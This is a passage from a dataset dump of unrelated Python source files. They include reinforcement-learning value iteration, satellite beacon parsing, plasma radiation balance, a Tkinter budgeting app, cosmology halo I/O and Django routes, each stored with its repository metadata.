-math.inf\n for state in possible_states:\n old_v = V[state]\n grid.set_player_position(state)\n new_v = -math.inf\n for action in grid.possible_actions():\n grid.set_player_position(state)\n reward = grid.player_take_action(action)\n new_v = max(reward + alpha * V[grid.pos], new_v)\n V[state] = new_v\n biggest_change = max(abs(V[state] - old_v), biggest_change)\n print_values(V, grid)\n if biggest_change < epsilon:\n print_values(V, grid)\n break\n\n # policy extraction\n policy = {}\n for state in possible_states:\n grid.set_player_position(state)\n possible_actions = grid.possible_actions()\n\n new_action = None\n best_value = -math.inf\n for action in possible_actions:\n grid.set_player_position(state)\n reward = grid.player_take_action(action)\n v = reward + alpha * V[grid.pos]\n if v > best_value:\n best_value = v\n new_action = action\n policy[state] = new_action\n\n print_policy(policy, grid)\n\nprint(\"values:\")\nprint_values(V, grid)\nprint(\"policy:\")\nprint_policy(policy, grid)\nprint(\"Iterations: %d\"%iterations)","repo_name":"teerapat-ch/ReinforcementLearningUdemy","sub_path":"rl/gridworld/value_iteration.py","file_name":"value_iteration.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36339850910","text":"from construct import *\n\nfrom ..adapters import UNIXTimestampAdapter\nfrom .csp import CSPHeader\n\n\nTimestamp = UNIXTimestampAdapter(Int32ub)\n\nBeacon0EPS = Struct(\n 'timestamp' / Timestamp,\n 'pv_v' / Int16ub[3],\n 'batt_v' / Int16ub,\n 'output_cur' / Int16ub[7],\n 'pv_cur' / Int16ub[3],\n 'batt_in_cur' / Int16ub,\n 'batt_out_cur' / Int16ub,\n 'temp' / Int16ub[6],\n 'batt_mode' / Int8ub\n )\n\nBeacon0COM = Struct(\n 'timestamp' / Timestamp,\n 'temp' / Int16sb[2],\n 'rssi' / Int16sb,\n 'rferr' / Int16sb,\n 'rssi_bgnd' / Int16sb\n )\n\nBeacon0OBC = Struct(\n 'timestamp' / Timestamp,\n 'cur' / Int16ub[6],\n 'temp' / Int16sb[2]\n )\n\nBeacon0 = Struct(\n 'beacon_type' / Const(b'\\x00'),\n 'eps' / Beacon0EPS,\n 'com' / Beacon0COM,\n 'obc' / Beacon0OBC\n )\n\nBeacon1EPS = Struct(\n 'timestamp' / Timestamp,\n 'wdt_i2c' / Int32ub,\n 'wdt_gnd' / Int32ub,\n 'boot_count' / Int32ub,\n 'wdt_i2c_count' / Int32ub,\n 'wdt_gnd_count' / Int32ub,\n 'wdt_csp_count' / Int32ub[2],\n 'wdt_csp' / Int8ub[2],\n 'boot_cause' / Int8ub,\n 'latchup' / Int16ub[6],\n 'out_val' / Int8ub[8],\n 'ppt_mode' / Int8ub\n )\n\nBeacon1COM = Struct(\n 'timestamp' / Timestamp,\n 'tx_duty' / Int8ub,\n 'total_tx_count' / Int32ub,\n 'total_rx_count' / Int32ub,\n 'total_tx_bytes' / Int32ub,\n 'total_rx_bytes' / Int32ub,\n 'boot_count' / Int16ub,\n 'boot_cause' / Int32ub,\n 'tx_bytes' / Int32ub,\n 'rx_bytes' / Int32ub,\n 'config' / Int8ub,\n 'tx_count' / Int32ub,\n 'rx_count' / Int32ub\n )\n\nBeacon1OBC = Struct(\n 'timestamp' / Timestamp,\n 'pwr' / Int8ub[6],\n 'sw_count' / Int16ub,\n 'filesystem' / Int8ub,\n 'boot_count' / Int16ub,\n 'boot_cause' / Int32ub,\n 'clock' / Timestamp\n )\n\nBeacon1 = Struct(\n 'beacon_type' / Const(b'\\x01'),\n 'eps' / Beacon1EPS,\n 'com' / Beacon1COM,\n 'obc' / Beacon1OBC\n )\n\nsuomi100 = Struct(\n 'header' / CSPHeader,\n 'payload' / Select(Beacon0, Beacon1)\n )\n","repo_name":"daniestevez/gr-satellites","sub_path":"python/telemetry/suomi100.py","file_name":"suomi100.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":700,"dataset":"github-code","pt":"32"} +{"seq_id":"9493516322","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom cherab.core.atomic import neon, hydrogen, argon, tungsten\nfrom cherab.openadas import OpenADAS\nfrom scipy.optimize import lsq_linear\nfrom cherab.openadas.repository import populate\n\ndef get_rates_recombination(element):\n \"\"\"\n load recombinatio rates for all ionic stages\n \"\"\"\n coef_recom = {}\n for i in np.arange(1, elem.atomic_number + 1):\n coef_recom[i] = adas.recombination_rate(element, int(i))\n\n return coef_recom\n\ndef get_rates_ionisation(element):\n \"\"\"\n load ionisation rates for all ionic stages\n :param element:\n :return:\n \"\"\"\n coef_ionis = {}\n for i in np.arange(0, elem.atomic_number):\n coef_ionis[i] = adas.ionisation_rate(element, int(i))\n\n return coef_ionis\n\n\ndef get_LT_radiation(element):\n \"\"\"\n load radiation recombinatio rates for all ionic stages\n \"\"\"\n\n coef_rad = {}\n for i in np.arange(0, elem.atomic_number):\n coef_rad[i] = adas.line_radiated_power_rate(element, int(i))\n\n return coef_rad\n\n\ndef get_BR_radiation(element):\n \"\"\"\n load radiation recombinatio rates for all ionic stages\n \"\"\"\n\n coef_rad = {}\n for i in np.arange(1, elem.atomic_number+1):\n coef_rad[i] = adas.continuum_radiated_power_rate(element, int(i))\n\n return coef_rad\n\n\n# Z distribution a la Di\ndef solve_ion_distribution(element, n_e, t_e, coef_ion, coef_recom):\n\n\n atomic_number = element.atomic_number\n prob = np.zeros(atomic_number+1)\n prob[0] = 1.0\n\n for i in range(1, atomic_number+1):\n ion_rate = coef_ion[i-1](n_e, t_e)\n rec_rate = coef_recom[i](n_e, t_e)\n\n prob[i] = prob[i-1] * ion_rate / rec_rate \n\n \n prob = prob / sum(prob)\n\n return prob\n\n\ndef coronal_output(elem, rates_ion, rates_recom, rates_line, rates_contin, nD, nimp, Te_array):\n\n n_states = elem.atomic_number + 1 \n\n # Iterate a few times to find consistent n_e and charge distribution\n ntries = 5\n n_Te = len(Te_array)\n ne0 = np.full((n_Te), nD+nimp)\n Z_av = np.zeros(n_Te)\n Z_eff = np.zeros(n_Te)\n Lrad = np.zeros(n_Te)\n prob_Z = np.zeros((elem.atomic_number + 1, len(Te_array)))\n \n for it in range(ntries):\n \n for i, te in enumerate(Te_array):\n prob_Z[:, i] = solve_ion_distribution(elem, min(ne0[i],2e21), te, rates_ion, rates_recom)\n \n # calculate average charge state as function of Te\n Z_av[i] = 0.0\n for j in range(0, n_states):\n Z_av[i] = Z_av[i] + float(j)*prob_Z[j,i]\n \n # Correct electron density\n ne0[i] = nD + nimp * Z_av[i]\n\n # Zeff\n numerator = nD * 1.0**2 \n denominator = nD * 1.0 \n for j in range(0, n_states):\n numerator = numerator + nimp * float(j)**2 *prob_Z[j,i]\n denominator = denominator + nimp * float(j) *prob_Z[j,i]\n\n Z_eff[i] = numerator / denominator \n\n # Radiated power\n Lrad[i] = 0.0\n for j in range(0, n_states):\n if j==0:\n Lrad[i] = Lrad[i] + (rates_line[j](ne0[i],te) ) * prob_Z[j,i]\n elif j==n_states-1:\n Lrad[i] = Lrad[i] + (rates_contin[j](ne0[i],te)) * prob_Z[j,i]\n else:\n Lrad[i] = Lrad[i] + (rates_line[j](ne0[i],te) + rates_contin[j](ne0[i],te)) * prob_Z[j,i]\n \n return prob_Z, Z_av, ne0, Z_eff, Lrad\n\n\n\n# Te in eV and ne in SI\ndef eta_spitzer(Te_array, Z_eff, n_e):\n\n n_Te = len(Te_array)\n eta = np.zeros(n_Te)\n\n for i, Te in enumerate(Te_array):\n if Te < 10:\n Coulomb_Log = 23.0000 - np.log((n_e[i]*1e-6)**0.5*Te**(-1.5)) \n else:\n Coulomb_Log = 24.1513 - np.log((n_e[i]*1e-6)**0.5*Te**(-1.0)) \n\n coef_Zeff = Z_eff[i]*(1.+1.198*Z_eff[i]+0.222*Z_eff[i]**2)/(1.+2.966*Z_eff[i]+0.753*Z_eff[i]**2) / ((1.+1.198+0.222)/(1.+2.966+0.753))\n\n eta[i] = 1.65e-9 * Coulomb_Log * (Te*0.001)**(-1.5) * coef_Zeff\n\n return eta\n\n# Gets equilibrium Te and others\ndef find_balance(elem, rates_ion, rates_recom, rates_line, rates_contin, nD, nimp, Te_array):\n\n coronal_data = coronal_output(elem, rates_ion, rates_recom, rates_line, rates_contin, nD, nimp, Te_array)\n \n prob_Z = coronal_data[0]\n Z_av = coronal_data[1]\n n_e = coronal_data[2]\n Z_eff = coronal_data[3]\n Lrad = coronal_data[4]\n eta = eta_spitzer(Te_array, Z_eff, n_e) \n \n ohmic = eta * J_av**2\n radiation = n_e * nimp * Lrad\n\n # Look minimum balance\n diff = abs( ohmic - radiation )\n\n min_index = np.argmin(diff)\n Te_eq = Te_array[min_index]\n eta_eq = eta[min_index]\n ne_eq = n_e[min_index]\n Zeff_eq = Z_eff[min_index]\n\n return Te_eq, eta_eq, ne_eq, Zeff_eq\n\n# initialise the atomic data provider\nadas = OpenADAS(permit_extrapolation=True)\n\n#elem = tungsten \nelem = neon \ntemperature_steps = 100\n\nIp = 15e6\nArea_pol = 21\nJ_av = Ip/Area_pol\nJ_av = 1e6\n\nnD = 5e19\nnD2 = 1e20 \nnimp = 2e18\n\nn_states = elem.atomic_number + 1 \n\n# Collect rate coefficients\nrates_ion = get_rates_ionisation(elem)\nrates_recom = get_rates_recombination(elem)\nrates_line = get_LT_radiation(elem)\nrates_contin= get_BR_radiation(elem)\n\nTe_min =2 #rates_recom[1].raw_data[\"te\"].min()\nTe_max =1e4 # rates_recom[1].raw_data[\"te\"].max()\n\n# Initialize temperatures\nTe_array = [10 ** x for x in np.linspace(np.log10(Te_min),\n np.log10(Te_max),\n num=temperature_steps)]\n\ncoronal_data = coronal_output(elem, rates_ion, rates_recom, rates_line, rates_contin, nD, nimp, Te_array)\n\nprob_Z = coronal_data[0]\nZ_av = coronal_data[1]\nn_e = coronal_data[2]\nZ_eff = coronal_data[3]\nLrad = coronal_data[4]\neta = eta_spitzer(Te_array, Z_eff, n_e) \n\nohmic = eta * J_av**2\nradiation = n_e * nimp * Lrad\n\ncoronal_data = coronal_output(elem, rates_ion, rates_recom, rates_line, rates_contin, nD2, nimp, Te_array)\n\nprob_Z2= coronal_data[0]\nZ_av2 = coronal_data[1]\nn_e2 = coronal_data[2]\nZ_eff2 = coronal_data[3]\nLrad2 = coronal_data[4]\neta2 = eta_spitzer(Te_array, Z_eff2, n_e2) \n\nlabel1 = \"n_D = \"+ str(nD) + \", n_imp = \"+ str(nimp) + \" m^-3\"\nlabel2 = \"n_D = \"+ str(nD2)+ \", n_imp = \"+ str(nimp) + \" m^-3\"\n\n# Deuterium scan\nnD_min = 5e19 #rates_recom[1].raw_data[\"te\"].min()\nnD_max = 1e22 #rates_recom[1].raw_data[\"te\"].max()\nnD_n = 10\nnD_array = [10 ** x for x in np.linspace(np.log10(nD_min), np.log10(nD_max), num=nD_n)]\n\neq_Te = np.zeros(nD_n)\neq_eta = np.zeros(nD_n)\neq_Zeff = np.zeros(nD_n)\n\nfor i, nD in enumerate(nD_array):\n\n balance = find_balance(elem, rates_ion, rates_recom, rates_line, rates_contin, nD, nimp, Te_array)\n\n eq_Te[i] = balance[0]\n eq_eta[i] = balance[1]\n eq_Zeff[i] = balance[3]\n\n\n# Plot charge state distribution\nplt.figure()\nfor i in range(elem.atomic_number + 1):\n pl = plt.semilogx(Te_array, prob_Z[i, :], label='{0} {1}+'.format(elem.symbol, i))\n plt.semilogx(Te_array, prob_Z2[i, :], '--',\n color=pl[0].get_color(), lw=2)\nplt.plot([], [], \"k-\", label=label1 )\nplt.plot([], [], \"k--\", label=label2 )\nplt.xlabel(\"Electron Temperature (eV)\")\nplt.title('Fractional Abundance')\nplt.legend()\nplt.savefig(elem.name+'_charge_distribution.png')\n\n\n# Plot average charge \nplt.figure()\nplt.semilogx(Te_array,Z_av , label=label1)\nplt.semilogx(Te_array,Z_av2, label=label2)\nplt.grid(True)\nplt.xlabel(\"Electron Temperature (eV)\")\nplt.title('average charge state of Neon')\nplt.legend()\nplt.savefig(elem.name+'_average_charge.png')\n\n\n# Plot Zeff \nplt.figure()\nplt.semilogx(Te_array,Z_eff, label=label1)\nplt.semilogx(Te_array,Z_eff2, label=label2)\nplt.grid(True)\nplt.xlabel(\"Electron Temperature (eV)\")\nplt.title('Z_eff')\nplt.legend()\nplt.savefig(elem.name+'_Zeff.png')\n\n\n# Plot ne \nplt.figure()\nplt.semilogx(Te_array,n_e, label=label1)\nplt.semilogx(Te_array,n_e2, label=label2)\nplt.grid(True)\nplt.xlabel(\"Electron Temperature (eV)\")\nplt.title('Electron density')\nplt.legend()\nplt.savefig(elem.name+'_ne.png')\n\n\n# Plot Lrad \nplt.figure()\nplt.plot(Te_array,Lrad, label=label1)\nplt.plot(Te_array,Lrad2, label=label2)\nax = plt.gca()\nax.set_xscale('log')\nax.set_yscale('log')\nplt.grid(True)\nplt.xlabel(\"Electron Temperature (eV)\")\nplt.title('Radiation power')\nplt.legend()\nplt.savefig(elem.name+'_Lrad.png')\n\n\n# Plot eta_spitzer\nplt.figure()\nplt.plot(Te_array,eta , label=label1)\nplt.plot(Te_array,eta2 , label=label2)\nplt.xscale('log')\nplt.yscale('log')\nplt.grid(True)\nplt.xlabel(\"Electron Temperature (eV)\")\nplt.title('Resistivity (Ohm.m)')\nplt.legend()\nplt.savefig(elem.name+'_eta_Spitzer.png')\n\n# Neon balance \nplt.figure()\nplt.plot(Te_array,ohmic , label='ohmic')\nplt.plot(Te_array,radiation , label='radiation')\nplt.xscale('log')\nplt.yscale('log')\nplt.grid(True)\nplt.xlabel(\"Electron Temperature (eV)\")\nplt.title('Power competetion')\nplt.legend()\nplt.savefig(elem.name+'_balance.png')\n\n# D balance \nplt.figure()\nplt.plot(nD_array, eq_Te, label='Te')\nplt.plot(nD_array, eq_eta/eq_eta[0]*4, label='eta/eta0 x4')\nplt.plot(nD_array, eq_Zeff*4, label='Zeff x4')\nplt.xscale('log')\nplt.grid(True)\nplt.xlabel(\"n_D (m^-3)\")\nplt.title('Equilibrium parameters')\nplt.legend()\nplt.savefig(elem.name+'_nD_scan.png')\n\n\n","repo_name":"jorekart/scripts_javier","sub_path":"atomic/plot_adas.py","file_name":"plot_adas.py","file_ext":"py","file_size_in_byte":9378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31582741930","text":"lista=[]\r\nfor c in range(6):\r\n n=int(input('Digite o valor: '))\r\n if c == 0 or n > lista[-1]:\r\n lista.append(n)\r\n else:\r\n pos=0\r\n while pos < len(lista):\r\n if n <=lista[pos]:\r\n lista.insert(pos,n)\r\n break\r\n pos += 1\r\nprint('=-'*30)\r\nprint(f'Adicionados foram organizados em ordem crescente sem o uso do metodo sort()\\n Os numeros são: {lista}')\r\nprint('-='*30)","repo_name":"Pedro4278/exercicios-de-aprendizado-Python","sub_path":"ex 80 (organizando na lista sem usar sort).py","file_name":"ex 80 (organizando na lista sem usar sort).py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12289935411","text":"#\n# author: vongkh\n# created: Wed Mar 31 2021\n#\n\nfrom sys import stdin, stdout # only need for big input\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def print(self):\n print(self.x, self.y)\n\nclass Mat:\n def __init__(self):\n self.row1 = [1,0,0]\n self.row2 = [0,1,0]\n\n #use transform matrix to perform affine transform on a point\n def transform_point(self, p):\n a, b, c = self.row1\n x = p.x * a + p.y * b + c \n a, b, c = self.row2\n y = p.x * a + p.y * b + c \n return Point(x,y)\n\n #rotate 90 clockwise \n def rotate_90(self):\n # x' = y, y' = -x\n ret = Mat()\n ret.row1 = self.row2.copy()\n ret.row2 = self.row1.copy()\n for i in range(3):\n ret.row2[i] *= -1\n return ret \n\n #rotate 90 counter clockwise\n def rotate_90_counter(self):\n # x' = -y, y' = x\n ret = Mat()\n ret.row1 = self.row2.copy()\n ret.row2 = self.row1.copy()\n for i in range(3):\n ret.row1[i] *= -1\n return ret\n\n def flip_x(self, p):\n # x' = 2 * p - x, y' = y\n ret = Mat()\n ret.row2 = self.row2.copy()\n ret.row1 = self.row1.copy()\n for i in range(3):\n ret.row1[i] *= -1\n ret.row1[2] += 2 * p\n return ret\n \n def flip_y(self, p):\n # x' = x, y' = 2 * p - y\n ret = Mat()\n ret.row2 = self.row2.copy()\n ret.row1 = self.row1.copy()\n for i in range(3):\n ret.row2[i] *= -1\n ret.row2[2] += 2 * p\n return ret\n \n \ndef solve():\n n = int(input())\n points = [Point(0,0) for _ in range(n)]\n\n for i in range(n):\n x, y = list(map(int, input().split()))\n points[i].x = x\n points[i].y = y\n\n m = int(input())\n\n #since all the transforms are affine transform,\n #we just need to stores the resulted transform matrix\n transform_mat = [Mat() for _ in range(m+1)]\n for i in range(1, m+1): \n op = list(map(int, input().split())) \n if op[0] == 1:\n transform_mat[i] = transform_mat[i-1].rotate_90()\n elif op[0] == 2:\n transform_mat[i] = transform_mat[i-1].rotate_90_counter()\n elif op[0] == 3:\n p = op[1]\n transform_mat[i] = transform_mat[i-1].flip_x(p)\n elif op[0] == 4:\n p = op[1]\n transform_mat[i] = transform_mat[i-1].flip_y(p)\n else:\n assert False\n \n q = int(input())\n for _ in range(q):\n a, b = list(map(int, input().split()))\n b -= 1\n ret = transform_mat[a].transform_point(points[b])\n ret.print()\n \n\ndef main():\n solve()\n\nif __name__ == \"__main__\":\n main()","repo_name":"vongkhmer/competitive_programming","sub_path":"AtCoder/ABC189/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20804186313","text":"#!/usr/local/bin/python3\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport pandas as pd\n\nfrom mmm.dataImport import *\nfrom mmm.dataEdition import *\nfrom mmm.dataStats import *\nfrom mmm.params import *\nimport os\nimport sys;\n\n# Root class to create the interface and define the controller function to switch frames\nclass MoneyManagerApp(tk.Tk):\n def importExistingData(self):\n #---------------\n if not os.path.exists(path_myfiles):\n os.mkdir(path_myfiles)\n print(\"Directory \" , path_myfiles , \" Created \")\n try:\n myDF = pd.read_csv(path_myfiles+\"/\"+\"myDF.csv\")\n print(\" Importing Existing Data \")\n except:\n print(\"Initializing Summary Data Frame...\")\n myDF = pd.DataFrame()\n myDF = myDF.reindex(columns = [\"account\",\"date\",\"trans_id\",\"payee\",\"amount\",'categoryGroup','category'])\n #display(myDF.head())\n #---------\n pathmmm = os.path.abspath(os.path.dirname(__file__))\n try:\n myCategDF = pd.read_csv(path_myfiles+\"/\"+\"myCategDF.csv\")\n print(\"Importing Categorization Data Frame \")\n except:\n print(\"Initializing Category Data Frame...\")\n try:\n myCategDF = pd.read_csv(os.path.abspath(pathmmm+'/../myData'+\"/\"+\"myCategDF.csv\"))\n except:\n myCategDF = pd.read_csv(os.path.abspath(os.getcwd() + \"/resources/myCategDF.csv\"))\n #myCategDF = myCategDF.reindex(columns = ['payee','categoryGroup','category'])\n #myCategDF.to_csv(path_myfiles+\"/\"+\"myCategDF.csv\",index=False)\n return myDF, myCategDF\n def __init__(self):\n tk.Tk.__init__(self)\n self._frame = None\n self.attributes(\"-topmost\", True)\n self.title('My Money Manager')\n self.geometry('1500x500')\n DF, CategDF = self.importExistingData()\n self.DF = DF.copy()\n self.CategDF = CategDF.copy()\n self.switch_frame(MoneyManagerNoteBook)\n\n # controller function\n def switch_frame(self, frame_class):\n new_frame = frame_class(self)\n if self._frame is not None:\n self._frame.destroy()\n self._frame = new_frame\n self._frame.pack()\n\n\n# sub-root to contain the Notebook frame and a controller function to switch the tabs within the notebook\nclass MoneyManagerNoteBook(tk.Frame):\n def __init__(self, master):\n tk.Frame.__init__(self, master)\n self.notebook = ttk.Notebook()\n self.DataImportTab = DataImportTab(self.notebook)\n self.DataEditionTab = DataEditionTab(self.notebook)\n self.DataStatsTab = DataStatsTab(self.notebook)\n self.notebook.add(child =self.DataImportTab, text=\"Data Import\")\n self.notebook.add(child =self.DataEditionTab, text=\"Data Edition\")\n self.notebook.add(child =self.DataStatsTab, text=\"Data Stats\")\n self.notebook.pack()\n def update_notebook(self):\n new_frame = DataEditionTab(self.notebook)\n newCategDF = self.master.DF[[\"payee\",\"categoryGroup\",\"category\"]].loc[self.master.DF.category!=\"To categorize\"]\n self.master.CategDF = pd.concat([newCategDF , self.master.CategDF], ignore_index=True).drop_duplicates().reset_index(drop=True)\n self.DataEditionTab.destroy()\n self.DataEditionTab = new_frame\n new_frame = DataStatsTab(self.notebook)\n self.DataStatsTab.destroy()\n self.DataStatsTab = new_frame\n self.notebook.add(child =self.DataEditionTab, text=\"Data Edition\")\n self.notebook.add(child =self.DataStatsTab, text=\"Data Stats\")\n self.notebook.pack()\n self.master.DF.to_csv(path_myfiles+\"/\"+\"myDF.csv\",index=False)\n self.master.CategDF.to_csv(path_myfiles+\"/\"+\"myCategDF.csv\",index=False)\n\ndef main():\n Root = MoneyManagerApp()\n Root.mainloop()\nif __name__ == \"__main__\":\n main()\n","repo_name":"taoualiw/MyMoneyManager-App","sub_path":"mmm/moneyManager.py","file_name":"moneyManager.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21502792846","text":"# Taken from https://github.com/cbehren/m3p\n\nimport numpy as np\nfrom astropy import units as u\nimport h5py\n\nclass HaloReader(object):\n def __init__(self,fname=None,from_parent=None,mask=None):\n \n from astropy import units as u\n if fname is None and from_parent is None:\n raise NameError(\"You need to provide either a file name or a parent object\")\n if fname is not None:\n with h5py.File(fname, mode = \"r\") as f:\n self.x = f[\"x\"][:]\n self.y = f[\"y\"][:]\n self.z = f[\"z\"][:]\n\n self.dispx = f[\"dispx\"][:]\n self.dispy = f[\"dispy\"][:]\n self.dispz = f[\"dispz\"][:]\n\n self.mass = f[\"mass\"][:]\n \n try:\n self.unstripped_mass = f[\"mass_before_stripping\"][:]\n except:\n print(\"No unstripped mass data found.\")\n \n self.radius = f[\"radius\"][:]\n self.detected_at = f[\"detected_at\"][:]\n #read header information\n self.redshift = f[\"Parameters\"].attrs[\"redshift\"]\n self.boxsize = f[\"Parameters\"].attrs[\"boxsize\"]*u.Mpc\n self.little_h = f[\"Parameters\"].attrs[\"little_h\"]\n self.n_cell = f[\"Parameters\"].attrs[\"n_cell\"]\n self.D = f[\"Parameters\"].attrs[\"D\"]\n self.f = f[\"Parameters\"].attrs[\"f\"]\n self.Hz = f[\"Parameters\"].attrs[\"Hz\"]\n else:\n if mask is None:\n mask = np.ones_like(from_parent.x,dtype=bool)\n self.x = from_parent.x[mask]\n self.y = from_parent.y[mask]\n self.z = from_parent.z[mask]\n\n self.dispx = from_parent.dispx[mask]\n self.dispy = from_parent.dispy[mask]\n self.dispz = from_parent.dispz[mask]\n\n self.mass = from_parent.mass[mask]\n self.radius = from_parent.radius[mask]\n self.detected_at = from_parent.detected_at[mask]\n #read header information\n self.redshift = from_parent.redshift\n self.boxsize = from_parent.boxsize\n self.little_h = from_parent.little_h\n self.n_cell = from_parent.n_cell\n self.D = from_parent.D\n self.f = from_parent.f\n self.Hz = from_parent.Hz\n \n self.dx = self.boxsize/self.n_cell\n def write(self,fname):\n with h5py.File(fname,\"w\") as f:\n f.create_dataset(\"x\",data=self.x)\n f.create_dataset(\"y\",data=self.y)\n f.create_dataset(\"z\",data=self.z)\n\n f.create_dataset(\"dispx\",data=self.dispx)\n f.create_dataset(\"dispy\",data=self.dispy)\n f.create_dataset(\"dispz\",data=self.dispz)\n\n f.create_dataset(\"mass\",data=self.mass)\n f.create_dataset(\"radius\",data=self.radius)\n f.create_dataset(\"detected_at\",data=self.detected_at)\n \n \n f.create_dataset(\"max_redshift\",data=np.zeros_like(self.mass))\n f.create_dataset(\"delta\",data=np.zeros_like(self.mass))\n #write header information\n f.create_group(\"Parameters\")\n f[\"Parameters\"].attrs[\"redshift\"] = self.redshift\n f[\"Parameters\"].attrs[\"boxsize\"] = self.boxsize.value\n f[\"Parameters\"].attrs[\"little_h\"] = self.little_h \n f[\"Parameters\"].attrs[\"n_cell\"] = self.n_cell\n f[\"Parameters\"].attrs[\"D\"] = self.D\n f[\"Parameters\"].attrs[\"f\"] = self.f\n f[\"Parameters\"].attrs[\"Hz\"] = self.Hz\n \n def __getattribute__(self,name):\n if(name==\"position\"):\n pos = np.array([self.x+self.D*self.dispx, self.y+self.D*self.dispy, self.z+self.D*self.dispz]).T*u.Mpc\n pos[pos<0.]+=self.boxsize\n pos[pos>=self.boxsize]-=self.boxsize\n return pos\n elif(name==\"velocity\"):\n a = 1./(1.+self.redshift)\n return self.f * self.Hz * a / self.little_h * np.array([self.dispx, self.dispy, self.dispz]).T * u.km/u.s\n elif(name==\"index\"):\n return self.get_index()\n else:\n return super(HaloReader,self).__getattribute__(name)\n def get_index(self):\n dx = self.boxsize.value/self.n_cell\n idx = np.zeros_like(self.x,dtype=np.int64)\n for i, coord in enumerate([self.x, self.y, self.z]):\n temp = np.round((coord-dx/2.)/dx).astype(np.int64)\n idx += self.n_cell**i*temp\n return idx\n \n def mask_mass(self,Min=1e-10,Max=1e20):\n return (self.mass>=Min) & (self.mass1):\n key=line[0].strip()\n value = line[1].split(\"#\")[0]\n value = self.type_conversion(key,value.strip())\n if(\"line_of_sight\" in key):\n key += \"%\"+repr(los_count)\n los_count+=1\n self[key]=value\n def write(self,fname,comment=None):\n with open(fname,\"w\") as f:\n f.write(\"#file written by params_file class\\n\")\n if(comment is not None):\n f.write(\"#\"+comment+\"\\n\")\n for key,value in self.iteritems():\n if(\"%\" in key):\n key = key.split(\"%\")[0]\n if(isinstance(value,str)):\n v = value\n elif(isinstance(value,np.ndarray)):\n v = \"\"\n for d in value:\n v+=repr(d)+\" \"\n else:\n v = repr(value)\n if(isinstance(value,bool)):\n v = v.lower()\n f.write(key+\"=\"+v+\"\\n\")\n def type_conversion(self,key,value):\n if key in self.float_types:\n return float(value)\n if key in self.int_types:\n try:\n v = int(value)\n except ValueError:\n print(\"Warning:\",key,\"should be integer, but is\",value)\n v= int(round(float(value)))\n \n return v\n if key in self.float_vector_types:\n return np.array([float(v) for v in value.split()])\n if key in self.int_vector_types:\n return np.array([int(v) for v in value.split()])\n if key in self.bool_types:\n if(value in [\"true\",\"True\"]):\n ret = True\n elif(value in [\"false\",\"False\"]):\n ret = False\n else:\n raise NameError(\"Could not convert parameter to boolean!\")\n return ret\n \n return value\n\nimport os\n \nclass m3pSimulation(object):\n def __init__(self,fname):\n self.params = ParamsFile(fname)\n if(not \"redshifts\" in self.params):\n self.params[\"redshifts\"]=[0.]\n self.redshifts = self.params[\"redshifts\"]\n \n self.output_prefix = \"\"\n if(\"output_prefix\" in self.params):\n self.output_prefix = self.params[\"output_prefix\"]\n self.output_dir = \"out\"\n if(\"output_dir\" in self.params):\n self.output_dir = self.params[\"output_dir\"]\n self.basedir = os.path.dirname(os.path.abspath(fname))\n self.basename = os.path.join(self.basedir,self.output_dir,self.output_prefix)\n def get_halos(self,redshift):\n for i in range(0,len(self.redshifts)):\n if(self.redshifts[i]==redshift):\n return HaloReader(self.basename+\"final_halos_\"+repr(i)+\".hdf5\")\n raise NameError(\"Could not find halos for redshift \"+repr(redshift))\n def get_powerspectrum(self):\n k, ps, _, _ = np.loadtxt(self.basename+\"PS.dat\",unpack=True)\n return k,ps\n \n \n### some helper routines\n\ndef diff_halos(fname1,fname2,return_all=False,return_indizes=False):\n from astropy import units as u\n #compares masses of halos at same position between two files. useful for debugging.\n #returns the difference in mass between halos located at the same position. \n #only makes sense if both runs had the same underlying density field.\n h1 = HaloReader(fname1)\n h2 = HaloReader(fname2)\n if(h1.size()= nh2):\n break\n idx1 = index1[i] \n idx2 = index2[j]\n if(idx2==idx1):\n difference[i] = (h1.mass[i]-h2.mass[j])/h1.mass[i]\n diff_index1.append(i)\n diff_index2.append(j)\n j=j+1\n else:\n found = False\n j=j+1\n idx2 = index2[j]\n print(i,j,idx1,idx2)\n while(idx2=0):\r\n print(b)\r\n i=i-1\r\n","repo_name":"852-1776-370/python","sub_path":"basic of python/decimal to binnnary converter.py","file_name":"decimal to binnnary converter.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42374758313","text":"from django.urls import path,re_path\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('',views.homepage,name=\"homepage\"),\n path('home2/', views.home, name=\"home2\"),\n re_path(r'^update/profile', views.updatemyprofile, name='update_profile'),\n re_path(r'^update/project/(\\d+)', views.updatemyprojects, name='update_projects'),\n re_path(r'^update/project/', views.createproject, name='create_project'),\n path('profile/', views.myprofile, name='profile'),\n re_path(r'^project/(\\d+)', views.editproject, name='article'),\n path('search/', views.search_project, name='search_results'),\n path('create/', views.create, name='create'),\n path('vote//', views.vote, name='vote'),\n path('results//', views.results, name='results'),\n re_path(r'^api/profileAPI/$', views.MerchList.as_view(),name=\"profileapi\"),\n re_path(r'^api/projectAPI/$', views.MerchList2.as_view(), name=\"projectapi\")\n\n]\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)\n","repo_name":"marknesh/Awards-website","sub_path":"awardsapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43109284328","text":"import numpy as np\nimport torch\nimport json\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom semcor_bert_pipeline import *\nfrom scipy import 